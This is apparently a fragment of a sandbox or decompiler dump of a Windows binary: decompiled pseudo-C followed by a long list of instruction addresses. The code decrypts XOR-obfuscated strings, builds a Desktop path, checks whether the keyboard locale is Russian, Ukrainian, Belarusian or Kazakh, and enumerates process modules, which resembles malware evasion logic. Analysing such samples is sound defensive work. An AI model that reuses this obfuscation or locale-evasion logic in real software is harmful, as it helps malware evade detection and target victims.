									__eflags = _t325;
								} while (_t325 != 0);
								E004026B0(_t518,  &_v120, 0x450ec4, _t537 - _t613);
								_v28 = 0;
								__eflags = _v100 - 0x10;
								_t328 =  >=  ? _v120 :  &_v120;
								_t329 = E00418F18(_t518, _t635, _t644, _v100 - 0x10,  >=  ? _v120 :  &_v120);
								_t614 = _t329;
								_v88 = 0;
								_t540 = _t329;
								_v72 = 0;
								_t688 = _t687 + 4;
								_v68 = 0xf;
								_v88 = 0;
								_t118 = _t540 + 1; // 0x1
								_t646 = _t118;
								do {
									_t330 =  *_t540;
									_t540 = _t540 + 1;
									__eflags = _t330;
								} while (_t330 != 0);
								E004026B0(_t518,  &_v88, _t614, _t540 - _t646);
								_v28 = 2;
								_t615 = _v100;
								__eflags = _t615 - 0x10;
								if(_t615 < 0x10) {
									L60:
									_t616 = _v68;
									_t543 = _v72;
									_v104 = 0;
									_v100 = 0xf;
									_v120 = 0;
									_push(8);
									_push("\\Desktop");
									__eflags = _t616 - _t543 - 8;
									if(_t616 - _t543 < 8) {
										_v96 = 0;
										_t543 =  &_v88;
										_push(_v96);
										_push(8);
										E00402980(_t518,  &_v88, _t635, _t646);
									} else {
										__eflags = _t616 - 0x10;
										_t130 = _t543 + 8; // 0x8
										_t660 =  >=  ? _v88 :  &_v88;
										_t661 = ( >=  ? _v88 :  &_v88) + _t543;
										_v72 = _t130;
										_push(_t661);
										E00410870();
										_t688 =  &(_t688[3]);
										 *((char*)(_t661 + 8)) = 0;
									}
									_t335 =  *0x450f34; // 0x8000000c
									_v56 = 0x4b426d6d;
									_v52 = 0x5c4b404f;
									_v89 = 0x2e;
									__eflags = _t335 -  *((intOrPtr*)(_t635 + 4));
									if(_t335 >  *((intOrPtr*)(_t635 + 4))) {
										E0040F2F9(_t335, 0x450f34);
										_t688 =  &(_t688[1]);
										__eflags =  *0x450f34 - 0xffffffff;
										if(__eflags == 0) {
											asm("movq xmm0, [ebp-0x20]");
											asm("movq [0x450f6c], xmm0");
											 *0x450f74 = _v89;
											E0040F60B(_t543, __eflags, 0x42d2c0);
											E0040F2AF(0x450f34);
											_t688 =  &(_t688[2]);
										}
									}
									_t336 =  *0x450f74; // 0x0
									__eflags = _t336;
									if(_t336 != 0) {
										 *0x450f6c =  *0x450f6c ^ 0x0000002e;
										 *0x450f6d =  *0x450f6d ^ 0x0000002e;
										 *0x450f6e =  *0x450f6e ^ 0x0000002e;
										 *0x450f6f =  *0x450f6f ^ 0x0000002e;
										 *0x450f70 =  *0x450f70 ^ 0x0000002e;
										 *0x450f71 =  *0x450f71 ^ 0x0000002e;
										 *0x450f72 =  *0x450f72 ^ 0x0000002e;
										 *0x450f73 =  *0x450f73 ^ 0x0000002e;
										_t455 = _t336 ^ 0x0000002e;
										__eflags = _t455;
										 *0x450f74 = _t455;
									}
									_t689 = _t688 - 0x18;
									_t544 = 0x450f6c;
									_t617 = _t689;
									_t142 =  &(_t544[1]); // 0x450f6d
									_t647 = _t142;
									 *_t617 = 0;
									_t617[4] = 0;
									_t617[5] = 0xf;
									do {
										_t337 =  *_t544;
										_t544 =  &(_t544[1]);
										__eflags = _t337;
									} while (_t337 != 0);
									E004026B0(_t518, _t617, 0x450f6c, _t544 - _t647);
									_t339 = E00404490(_t518,  &_v88, _t617); // executed
									_t690 =  &(_t689[6]);
									_v89 = 0x2e;
									__eflags = _t339;
									_t340 =  *0x450fe0; // 0x8000000d
									_v90 = _t339 != 0;
									__eflags = _t340 -  *((intOrPtr*)(_t635 + 4));
									if(_t340 >  *((intOrPtr*)(_t635 + 4))) {
										E0040F2F9(_t340, 0x450fe0);
										_t690 =  &(_t690[1]);
										__eflags =  *0x450fe0 - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439d80]");
											asm("movups [0x450eec], xmm0");
											 *0x450efc = _v89;
											E0040F60B( &_v88, __eflags, 0x42d2a0);
											E0040F2AF(0x450fe0);
											_t690 =  &(_t690[2]);
										}
									}
									_t341 =  *0x450efc; // 0x0
									__eflags = _t341;
									if(_t341 != 0) {
										asm("movups xmm0, [0x450eec]");
										asm("movaps xmm1, [0x439d30]");
										asm("pxor xmm1, xmm0");
										 *0x450efc = _t341 ^ 0x0000002e;
										asm("movups [0x450eec], xmm1");
									}
									_t691 = _t690 - 0x18;
									_t548 = 0x450eec;
									_t618 = _t691;
									_t150 = _t548 + 1; // 0x450eed
									_t648 = _t150;
									 *_t618 = 0;
									_t618[4] = 0;
									_t618[5] = 0xf;
									do {
										_t342 =  *_t548;
										_t548 = _t548 + 1;
										__eflags = _t342;
									} while (_t342 != 0);
									E004026B0(_t518, _t618, 0x450eec, _t548 - _t648);
									_t344 = E00404490(_t518,  &_v88, _t618); // executed
									_t692 =  &(_t691[6]);
									_v48 = 0x2e6d;
									__eflags = _t344;
									_t345 =  *0x450f38; // 0x8000000e
									_v89 = _t344 != 0;
									__eflags = _t345 -  *((intOrPtr*)(_t635 + 4));
									if(_t345 >  *((intOrPtr*)(_t635 + 4))) {
										E0040F2F9(_t345, 0x450f38);
										_t692 =  &(_t692[1]);
										__eflags =  *0x450f38 - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439da0]");
											asm("movups [0x450fb4], xmm0");
											 *0x450fc4 = _v48;
											E0040F60B( &_v88, __eflags, 0x42d280);
											E0040F2AF(0x450f38);
											_t692 =  &(_t692[2]);
										}
									}
									__eflags =  *0x450fc5;
									if( *0x450fc5 != 0) {
										asm("movups xmm0, [0x450fb4]");
										_t445 = 0x10;
										asm("movaps xmm1, [0x439d30]");
										asm("pxor xmm1, xmm0");
										asm("movups [0x450fb4], xmm1");
										do {
											 *(_t445 + 0x450fb4) =  *(_t445 + 0x450fb4) ^ 0x0000002e;
											_t445 = _t445 + 1;
											__eflags = _t445 - 0x12;
										} while (_t445 < 0x12);
									}
									_t693 = _t692 - 0x18;
									_t552 = 0x450fb4;
									_t619 = _t693;
									_t160 = _t552 + 1; // 0x450fb5
									_t649 = _t160;
									 *_t619 = 0;
									_t619[4] = 0;
									_t619[5] = 0xf;
									do {
										_t346 =  *_t552;
										_t552 = _t552 + 1;
										__eflags = _t346;
									} while (_t346 != 0);
									E004026B0(_t518, _t619, 0x450fb4, _t552 - _t649);
									_t348 = E00404490(_t518,  &_v88, _t619); // executed
									_t688 =  &(_t693[6]);
									__eflags = _t348;
									if(_t348 == 0) {
										L89:
										_t646 = 0;
										__eflags = 0;
									} else {
										__eflags = _v90;
										if(_v90 == 0) {
											goto L89;
										} else {
											__eflags = _v89;
											if(_v89 == 0) {
												goto L89;
											} else {
												_t646 = 1;
											}
										}
									}
									_t620 = _v68;
									__eflags = _t620 - 0x10;
									if(_t620 < 0x10) {
										L94:
										 *[fs:0x0] = _v36;
										_pop(_t636);
										_pop(_t650);
										__eflags = _v44 ^ _t667;
										return E0040EF6F(_t646, _t518, _v44 ^ _t667, _t620, _t636, _t650);
									} else {
										_t560 = _v88;
										_t620 = _t620 + 1;
										_t351 = _t560;
										__eflags = _t620 - 0x1000;
										if(_t620 < 0x1000) {
											L93:
											_push(_t620);
											E0040F1B0(_t560);
											goto L94;
										} else {
											_t560 =  *(_t560 - 4);
											_t620 = _t620 + 0x23;
											__eflags = _t351 - _t560 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L96;
											} else {
												goto L93;
											}
										}
									}
								} else {
									_t593 = _v120;
									_t627 = _t615 + 1;
									_t462 = _t593;
									__eflags = _t627 - 0x1000;
									if(_t627 < 0x1000) {
										L59:
										_push(_t627);
										E0040F1B0(_t593);
										_t688 =  &(_t688[2]);
										goto L60;
									} else {
										_t560 =  *(_t593 - 4);
										_t620 = _t627 + 0x23;
										__eflags = _t462 - _t560 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											E004138D7(_t518, _t620, __eflags);
											L96:
											E004138D7(_t518, _t620, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t518);
											_t520 = _t688;
											_t699 = (_t688 - 0x00000008 & 0xfffffff8) + 4;
											_push(_t667);
											_v560 = _t520[1];
											_t670 = _t699;
											_push(0xffffffff);
											_push(0x42c922);
											_push( *[fs:0x0]);
											_push(_t520);
											_t700 = _t699 - 0x630;
											_t357 =  *0x43d054; // 0xd71f2cec
											_t358 = _t357 ^ _t670;
											_v584 = _t358;
											_push(_t646);
											_push(_t635);
											_push(_t358);
											 *[fs:0x0] =  &_v576;
											_t651 = _t560;
											_v2120 = _t651;
											_v2160 = _t651;
											asm("xorps xmm0, xmm0");
											_v2124 = 0;
											asm("movq [esi], xmm0");
											 *(_t651 + 8) = 0;
											 *_t651 = 0;
											 *(_t651 + 4) = 0;
											 *(_t651 + 8) = 0;
											_v568 = 0;
											_v2124 = 1;
											_t361 = GetKeyboardLayoutList(0x400,  &_v2116);
											_t637 = 0;
											_v2120 = _t361;
											__eflags = _t361;
											if(_t361 <= 0) {
												L109:
												 *[fs:0x0] = _v48;
												_pop(_t638);
												_pop(_t652);
												__eflags = _v56 ^ _t670;
												return E0040EF6F(_t651, _t520, _v56 ^ _t670, _t620, _t638, _t652);
											} else {
												do {
													_t364 =  *(_t670 + _t637 * 4 - 0x610) & 0x0000ffff;
													_v1600 = _t364;
													GetLocaleInfoA(_t364, 2,  &_v564, 0x1f4); // executed
													_t366 =  &_v564;
													_v1628 = 0;
													_v1612 = 0;
													_t621 = _t366 + 1;
													_v1608 = 0xf;
													_v1628 = 0;
													do {
														_t566 =  *_t366;
														_t366 = _t366 + 1;
														__eflags = _t566;
													} while (_t566 != 0);
													E004026B0(_t520,  &_v1628,  &_v564, _t366 - _t621);
													_t568 = _v1600;
													_v1604 = _t568;
													_v40 = 1;
													_t370 =  *(_t651 + 4);
													__eflags = _t370 -  *(_t651 + 8);
													if(_t370 ==  *(_t651 + 8)) {
														_push( &_v1628);
														_push(_t370);
														E0040CFF0(_t520, _t651, _t637, _t651);
														_t620 = _v1608;
													} else {
														asm("movups xmm0, [ebp-0x638]");
														_t620 = 0xf;
														_v1628 = 0;
														asm("movups [eax], xmm0");
														asm("movq xmm0, [ebp-0x628]");
														asm("movq [eax+0x10], xmm0");
														 *(_t370 + 0x18) = _t568;
														 *(_t651 + 4) =  *(_t651 + 4) + 0x1c;
													}
													_v40 = 0;
													__eflags = _t620 - 0x10;
													if(_t620 < 0x10) {
														goto L108;
													} else {
														_t571 = _v1628;
														_t620 = _t620 + 1;
														_t372 = _t571;
														__eflags = _t620 - 0x1000;
														if(_t620 < 0x1000) {
															L107:
															_push(_t620);
															E0040F1B0(_t571);
															_t700 = _t700 + 8;
															goto L108;
														} else {
															_t571 =  *(_t571 - 4);
															_t620 = _t620 + 0x23;
															__eflags = _t372 - _t571 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																E004138D7(_t520, _t620, __eflags);
																asm("int3");
																_push(_t670);
																_t672 = _t700;
																_push(0xffffffff);
																_push(0x42c965);
																_push( *[fs:0x0]);
																_t703 = _t700 - 0x5c;
																_t378 =  *0x43d054; // 0xd71f2cec
																_t379 = _t378 ^ _t672;
																_v2192 = _t379;
																_push(_t520);
																_push(_t651);
																_push(_t637);
																_push(_t379);
																 *[fs:0x0] =  &_v2188;
																_t522 = 0;
																_t572 =  &_v2212;
																asm("xorps xmm0, xmm0");
																_v2248 = 0;
																asm("movq [ebp-0x24], xmm0");
																_v2204 = 0;
																L97(); // executed
																_v2180 = 0;
																_t381 = _v2208;
																_t639 = _v2212;
																_v2252 = _t381;
																__eflags = _t639 - _t381;
																if(_t639 == _t381) {
																	L138:
																	_t523 = 0;
																	__eflags = 0;
																	goto L139;
																} else {
																	_v64 = 0x5d5d5b7c;
																	_v60 = 0x2e404f47;
																	_t658 =  *( *[fs:0x2c]);
																	_v120 = _t658;
																	do {
																		E0040BF40(_t522,  &_v104, _t620, _t639, _t639);
																		_v80 =  *((intOrPtr*)(_t639 + 0x18));
																		_v44 = 1;
																		_t414 =  *0x45104c;
																		__eflags =  *0x45104c -  *((intOrPtr*)(_t658 + 4));
																		if( *0x45104c >  *((intOrPtr*)(_t658 + 4))) {
																			E0040F2F9(_t414, 0x45104c);
																			_t703 = _t703 + 4;
																			__eflags =  *0x45104c - 0xffffffff;
																			if(__eflags == 0) {
																				_t232 =  &_v64; // 0x5d5d5b7c
																				 *0x450d40 =  *_t232;
																				_t233 =  &_v60; // 0x2e404f47
																				 *0x450d44 =  *_t233;
																				E0040F60B( &_v104, __eflags, 0x42d300);
																				E0040F2AF(0x45104c);
																				_t703 = _t703 + 8;
																			}
																		}
																		_t415 =  *0x450d47; // 0x0
																		__eflags = _t415;
																		if(_t415 != 0) {
																			 *0x450d40 =  *0x450d40 ^ 0x0000002e;
																			 *0x450d41 =  *0x450d41 ^ 0x0000002e;
																			 *0x450d42 =  *0x450d42 ^ 0x0000002e;
																			 *0x450d43 =  *0x450d43 ^ 0x0000002e;
																			 *0x450d44 =  *0x450d44 ^ 0x0000002e;
																			 *0x450d45 =  *0x450d45 ^ 0x0000002e;
																			 *0x450d46 =  *0x450d46 ^ 0x0000002e;
																			_t439 = _t415 ^ 0x0000002e;
																			__eflags = _t439;
																			 *0x450d47 = _t439;
																		}
																		_t416 = 0x450d40;
																		_v144 = 0;
																		_v128 = 0;
																		_v124 = 0xf;
																		_t237 =  &(_t416[1]); // 0x450d41
																		_t626 = _t237;
																		do {
																			_t589 =  *_t416;
																			_t416 =  &(_t416[1]);
																			__eflags = _t589;
																		} while (_t589 != 0);
																		E004026B0(_t522,  &_v144, 0x450d40, _t416 - _t626);
																		_t651 = _v104;
																		_t620 = _v88;
																		__eflags = _v124 - 0x10;
																		_v112 = _t522 | 0x00000001;
																		_t523 = _v144;
																		_t420 =  >=  ? _t523 :  &_v144;
																		__eflags = _v84 - 0x10;
																		_t572 =  >=  ? _t651 :  &_v104;
																		_t421 = E00402890(_t572, _t620, _t572,  >=  ? _t523 :  &_v144, _v128);
																		_t703 = _t703 + 0xc;
																		__eflags = _t421 - 0xffffffff;
																		if(_t421 != 0xffffffff) {
																			L122:
																			_v105 = 1;
																		} else {
																			__eflags = _v84 - 0x10;
																			_t620 = _v88;
																			_t572 =  >=  ? _t651 :  &_v104;
																			_t438 = E00402890(_t572, _t620, _t572, 0x439a6c, 7);
																			_t703 = _t703 + 0xc;
																			_v105 = 0;
																			__eflags = _t438 - 0xffffffff;
																			if(_t438 != 0xffffffff) {
																				goto L122;
																			}
																		}
																		_v112 = _v112 & 0xfffffffe;
																		_t422 = _v124;
																		__eflags = _t422 - 0x10;
																		if(_t422 < 0x10) {
																			L127:
																			__eflags = _v105;
																			if(_v105 != 0) {
																				L143:
																				_t423 = _v84;
																				__eflags = _t423 - 0x10;
																				if(_t423 < 0x10) {
																					L147:
																					_t639 = _v76;
																					_t523 = 1;
																					L139:
																					__eflags = _t639;
																					if(_t639 == 0) {
																						L149:
																						 *[fs:0x0] = _v52;
																						_pop(_t640);
																						_pop(_t653);
																						_pop(_t524);
																						__eflags = _v56 ^ _t672;
																						return E0040EF6F(_t523, _t524, _v56 ^ _t672, _t620, _t640, _t653);
																					} else {
																						_push(_t572);
																						E0040D730(_t639, _v72, _t639, _t651);
																						_t654 = _v76;
																						_t705 = _t703 + 4;
																						_t620 = (0x92492493 * (_v68 - _t654) >> 0x20) + _v68 - _t654 >> 4;
																						_t390 = _t654;
																						_t582 = ((_t620 >> 0x1f) + _t620) * 8 - (_t620 >> 0x1f) + _t620 << 2;
																						__eflags = _t582 - 0x1000;
																						if(_t582 < 0x1000) {
																							L148:
																							_push(_t582);
																							E0040F1B0(_t654);
																							goto L149;
																						} else {
																							_t654 =  *((intOrPtr*)(_t654 - 4));
																							_t582 = _t582 + 0x23;
																							__eflags = _t390 - _t654 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								E004138D7(_t523, _t620, __eflags);
																								goto L151;
																							} else {
																								goto L148;
																							}
																						}
																					}
																				} else {
																					_t279 = _t423 + 1; // 0x11
																					_t572 = _t279;
																					_t424 = _t651;
																					__eflags = _t572 - 0x1000;
																					if(_t572 < 0x1000) {
																						L146:
																						_push(_t572);
																						E0040F1B0(_t651);
																						_t703 = _t703 + 8;
																						goto L147;
																					} else {
																						_t654 =  *((intOrPtr*)(_t651 - 4));
																						_t582 = _t572 + 0x23;
																						__eflags = _t424 - _t654 + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L151;
																						} else {
																							goto L146;
																						}
																					}
																				}
																			} else {
																				_t428 = _v80;
																				__eflags = _t428 - 0x419;
																				if(_t428 == 0x419) {
																					goto L143;
																				} else {
																					__eflags = _t428 - 0x422;
																					if(_t428 == 0x422) {
																						goto L143;
																					} else {
																						__eflags = _t428 - 0x423;
																						if(_t428 == 0x423) {
																							goto L143;
																						} else {
																							__eflags = _t428 - 0x43f;
																							if(_t428 == 0x43f) {
																								goto L143;
																							} else {
																								_v44 = 0;
																								_t429 = _v84;
																								__eflags = _t429 - 0x10;
																								if(_t429 < 0x10) {
																									goto L136;
																								} else {
																									_t263 = _t429 + 1; // 0x11
																									_t572 = _t263;
																									_t430 = _t651;
																									__eflags = _t572 - 0x1000;
																									if(_t572 < 0x1000) {
																										L135:
																										_push(_t572);
																										E0040F1B0(_t651);
																										_t703 = _t703 + 8;
																										goto L136;
																									} else {
																										_t654 =  *((intOrPtr*)(_t651 - 4));
																										_t582 = _t572 + 0x23;
																										__eflags = _t430 - _t654 + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L151;
																										} else {
																											goto L135;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t256 = _t422 + 1; // 0x11
																			_t572 = _t256;
																			_t434 = _t523;
																			__eflags = _t572 - 0x1000;
																			if(_t572 < 0x1000) {
																				L126:
																				_push(_t572);
																				E0040F1B0(_t523);
																				_t651 = _v104;
																				_t703 = _t703 + 8;
																				goto L127;
																			} else {
																				_t523 =  *(_t523 - 4);
																				_t582 = _t572 + 0x23;
																				__eflags = _t434 - _t523 + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					L151:
																					E004138D7(_t523, _t620, __eflags);
																					asm("int3");
																					asm("int3");
																					_push(_t672);
																					_t674 = _t705;
																					_t396 =  *0x43d054; // 0xd71f2cec
																					_v2304 = _t396 ^ _t674;
																					_push(_t654);
																					_push(_t639);
																					_t641 = _t582;
																					_v2572 = _t641;
																					_v2572 = _t641;
																					_t398 =  *0x439a7c; // 0x3e
																					asm("movq xmm0, [0x439a74]");
																					_v2556 = _t398;
																					asm("movq [ebp-0x108], xmm0");
																					E00410EB0(_t641,  &_v2554, 0, 0xfa);
																					_t656 = OpenProcess(0x410, 0, _t620);
																					__eflags = _t656;
																					if(_t656 != 0) {
																						_t409 =  &_v316;
																						__imp__K32EnumProcessModules(_t656, _t409, 4,  &_v312); // executed
																						__eflags = _t409;
																						if(_t409 != 0) {
																							__imp__K32GetModuleBaseNameA(_t656, _v316,  &_v308, 0x104); // executed
																						}
																					}
																					FindCloseChangeNotification(_t656); // executed
																					_t583 =  &_v308;
																					 *_t641 = 0;
																					_t641[4] = 0;
																					_t625 = _t583 + 1;
																					_t641[5] = 0xf;
																					 *_t641 = 0;
																					do {
																						_t403 =  *_t583;
																						_t583 = _t583 + 1;
																						__eflags = _t403;
																					} while (_t403 != 0);
																					E004026B0(_t523, _t641,  &_v308, _t583 - _t625);
																					_pop(_t642);
																					__eflags = _v48 ^ _t674;
																					_pop(_t657);
																					return E0040EF6F(_t641, _t523, _v48 ^ _t674, _t625, _t642, _t657);
																				} else {
																					goto L126;
																				}
																			}
																		}
																		goto L158;
																		L136:
																		_t522 = _v112;
																		_t639 = _t639 + 0x1c;
																		_t658 = _v120;
																		__eflags = _t639 - _v116;
																	} while (_t639 != _v116);
																	_t639 = _v76;
																	goto L138;
																}
															} else {
																goto L107;
															}
														}
													}
													goto L158;
													L108:
													_t637 = _t637 + 1;
													__eflags = _t637 - _v1592;
												} while (_t637 < _v1592);
												goto L109;
											}
										} else {
											goto L59;
										}
									}
								}
							} else {
								goto L13;
							}
						}
					}
				}
				L158:
			}

0x00404490
0x00404491
0x00404499
0x004044a0
0x004044a4
0x004044a6
0x004044a8
0x004044b3
0x004044b4
0x004044b5
0x004044bb
0x004044c0
0x004044c2
0x004044c5
0x004044c6
0x004044c7
0x004044cb
0x004044d1
0x004044d8
0x004044db
0x004044e0
0x004044e7
0x004044ee
0x004044f5
0x00404500
0x00404504
0x00404509
0x0040450d
0x00404512
0x0040451a
0x00404543
0x00404555
0x0040451c
0x00404522
0x00404525
0x0040452d
0x00404531
0x00404535
0x00404535
0x00404567
0x0040456d
0x00404573
0x00404578
0x0040465b
0x0040465b
0x0040465e
0x00404661
0x00404669
0x004046e8
0x004046e8
0x00000000
0x00404670
0x00404670
0x00404674
0x00404683
0x0040468e
0x00404691
0x00404694
0x00404699
0x0040469e
0x004046a4
0x004046a7
0x00000000
0x00000000
0x004046b0
0x004046dd
0x004046dd
0x004046e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004046b2
0x004046b2
0x004046b2
0x004046b5
0x004046bd
0x004046d3
0x004046d3
0x004046d5
0x004046da
0x00000000
0x004046bf
0x004046bf
0x004046c2
0x004046cd
0x00000000
0x00000000
0x00000000
0x00000000
0x004046cd
0x004046bd
0x00000000
0x004046b0
0x004047c7
0x004047ca
0x004047f3
0x004047f3
0x004046ea
0x004046ea
0x004046f0
0x0040471e
0x0040471e
0x00404721
0x00404728
0x0040472f
0x00404735
0x0040479f
0x0040479f
0x004047a5
0x00404807
0x0040480c
0x00404814
0x00404815
0x00404826
0x004047a7
0x004047a7
0x004047aa
0x004047ab
0x004047b3
0x004047fd
0x004047fd
0x004047ff
0x00000000
0x004047b5
0x004047b5
0x004047b8
0x004047c3
0x00000000
0x004047c5
0x00000000
0x004047c5
0x004047c3
0x004047b3
0x00404737
0x0040473a
0x0040473b
0x00404748
0x0040474b
0x00404752
0x0040475f
0x00404761
0x0040476a
0x00404780
0x00404780
0x00404782
0x00404787
0x0040478a
0x00404791
0x00404798
0x00000000
0x0040476c
0x0040476c
0x0040476f
0x0040477a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040477a
0x0040476a
0x004046f2
0x004046f2
0x004046f5
0x004046f6
0x004046fe
0x00404714
0x00404714
0x00404716
0x0040471b
0x00000000
0x00404700
0x00404700
0x00404703
0x0040470e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040470e
0x004046fe
0x004047cc
0x004047cc
0x004047cc
0x004047cf
0x004047d1
0x004047d7
0x004047e9
0x004047e9
0x004047eb
0x004047f0
0x00000000
0x004047d9
0x004047d9
0x004047dc
0x004047e4
0x004047e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004047e7
0x004047d7
0x004047ca
0x0040457e
0x0040457e
0x0040457e
0x004045b2
0x004045b2
0x004045b2
0x004045b4
0x004045b5
0x004045c6
0x004045cb
0x004045cf
0x004045d5
0x00404600
0x00404601
0x00404605
0x0040460a
0x004045d7
0x004045d7
0x004045db
0x004045e1
0x004045e6
0x004045ea
0x004045ed
0x004045f2
0x004045f7
0x004045f7
0x0040460d
0x00404614
0x00404642
0x0040464a
0x0040464e
0x00404590
0x00404590
0x00404596
0x0040459d
0x004045a4
0x004045a7
0x004045ae
0x00000000
0x00404654
0x00404655
0x00000000
0x00404655
0x00404616
0x00404616
0x00404619
0x0040461a
0x00404622
0x00404638
0x00404638
0x0040463a
0x0040463f
0x00000000
0x00404624
0x00404624
0x00404627
0x00404632
0x00404827
0x00404827
0x0040482c
0x0040482c
0x00404831
0x00404832
0x00404833
0x00404834
0x00404835
0x00404836
0x00404837
0x00404838
0x00404839
0x0040483a
0x0040483b
0x0040483c
0x0040483d
0x0040483e
0x0040483f
0x00404840
0x00404841
0x00404849
0x0040484c
0x00404850
0x00404854
0x00404856
0x00404858
0x00404863
0x00404864
0x00404865
0x00404868
0x0040486d
0x0040486f
0x00404872
0x00404873
0x00404874
0x00404878
0x00404884
0x0040488b
0x00404892
0x00404899
0x0040489b
0x004048a0
0x004048a6
0x004048ad
0x004048b2
0x004048b5
0x004048bc
0x004048be
0x004048cb
0x004048d3
0x004048d8
0x004048e5
0x004048ea
0x004048ea
0x004048bc
0x004048ed
0x004048f4
0x004048f6
0x004048f6
0x00404900
0x00404900
0x00404907
0x00404908
0x00404908
0x00404900
0x0040490d
0x00404912
0x00404919
0x00404920
0x00404927
0x0040492b
0x0040492b
0x00404930
0x00404930
0x00404932
0x00404933
0x00404933
0x00404942
0x00404947
0x00404951
0x00404955
0x0040495a
0x0040495f
0x00404961
0x00404968
0x0040496a
0x00404971
0x00404974
0x0040497b
0x0040497f
0x0040497f
0x00404982
0x00404982
0x00404984
0x00404985
0x00404985
0x00404990
0x00404995
0x00404999
0x0040499c
0x0040499f
0x004049cd
0x004049cd
0x004049d2
0x004049d7
0x004049de
0x004049e5
0x004049e9
0x004049eb
0x004049f0
0x004049f3
0x00404a16
0x00404a1a
0x00404a1d
0x00404a20
0x00404a22
0x004049f5
0x004049f5
0x004049fb
0x004049fe
0x00404a02
0x00404a04
0x00404a07
0x00404a08
0x00404a0d
0x00404a10
0x00404a10
0x00404a27
0x00404a2c
0x00404a33
0x00404a3a
0x00404a3e
0x00404a44
0x00404a4b
0x00404a50
0x00404a53
0x00404a5a
0x00404a5c
0x00404a69
0x00404a71
0x00404a76
0x00404a83
0x00404a88
0x00404a88
0x00404a5a
0x00404a8b
0x00404a90
0x00404a92
0x00404a94
0x00404a9b
0x00404aa2
0x00404aa9
0x00404ab0
0x00404ab7
0x00404abe
0x00404ac5
0x00404acc
0x00404acc
0x00404ace
0x00404ace
0x00404ad3
0x00404ad6
0x00404adb
0x00404add
0x00404add
0x00404ae0
0x00404ae6
0x00404aed
0x00404af4
0x00404af4
0x00404af6
0x00404af7
0x00404af7
0x00404b05
0x00404b0d
0x00404b12
0x00404b15
0x00404b19
0x00404b1b
0x00404b20
0x00404b24
0x00404b2a
0x00404b31
0x00404b36
0x00404b39
0x00404b40
0x00404b42
0x00404b51
0x00404b58
0x00404b5d
0x00404b6a
0x00404b6f
0x00404b6f
0x00404b40
0x00404b72
0x00404b77
0x00404b79
0x00404b7b
0x00404b84
0x00404b8b
0x00404b8f
0x00404b94
0x00404b94
0x00404b9b
0x00404b9e
0x00404ba3
0x00404ba5
0x00404ba5
0x00404ba8
0x00404bae
0x00404bb5
0x00404bc0
0x00404bc0
0x00404bc2
0x00404bc3
0x00404bc3
0x00404bd1
0x00404bd9
0x00404bde
0x00404be1
0x00404be7
0x00404be9
0x00404bee
0x00404bf2
0x00404bf8
0x00404bff
0x00404c04
0x00404c07
0x00404c0e
0x00404c10
0x00404c20
0x00404c27
0x00404c2d
0x00404c3a
0x00404c3f
0x00404c3f
0x00404c0e
0x00404c42
0x00404c49
0x00404c4b
0x00404c52
0x00404c57
0x00404c5e
0x00404c62
0x00404c70
0x00404c70
0x00404c77
0x00404c78
0x00404c78
0x00404c70
0x00404c7d
0x00404c80
0x00404c85
0x00404c87
0x00404c87
0x00404c8a
0x00404c90
0x00404c97
0x00404ca0
0x00404ca0
0x00404ca2
0x00404ca3
0x00404ca3
0x00404cb1
0x00404cb9
0x00404cbe
0x00404cc1
0x00404cc3
0x00404cd8
0x00404cd8
0x00404cd8
0x00404cc5
0x00404cc5
0x00404cc9
0x00000000
0x00404ccb
0x00404ccb
0x00404ccf
0x00000000
0x00404cd1
0x00404cd1
0x00404cd1
0x00404ccf
0x00404cc9
0x00404cda
0x00404cdd
0x00404ce0
0x00404d0a
0x00404d0f
0x00404d17
0x00404d18
0x00404d1c
0x00404d29
0x00404ce2
0x00404ce2
0x00404ce5
0x00404ce6
0x00404ce8
0x00404cee
0x00404d00
0x00404d00
0x00404d02
0x00000000
0x00404cf0
0x00404cf0
0x00404cf3
0x00404cfb
0x00404cfe
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cfe
0x00404cee
0x004049a1
0x004049a1
0x004049a4
0x004049a5
0x004049a7
0x004049ad
0x004049c3
0x004049c3
0x004049c5
0x004049ca
0x00000000
0x004049af
0x004049af
0x004049b2
0x004049ba
0x004049bd
0x00404d2a
0x00404d2f
0x00404d2f
0x00404d34
0x00404d35
0x00404d36
0x00404d37
0x00404d38
0x00404d39
0x00404d3a
0x00404d3b
0x00404d3c
0x00404d3d
0x00404d3e
0x00404d3f
0x00404d40
0x00404d41
0x00404d49
0x00404d4c
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d75
0x00404d76
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de6
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f0c
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e73
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ebd
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
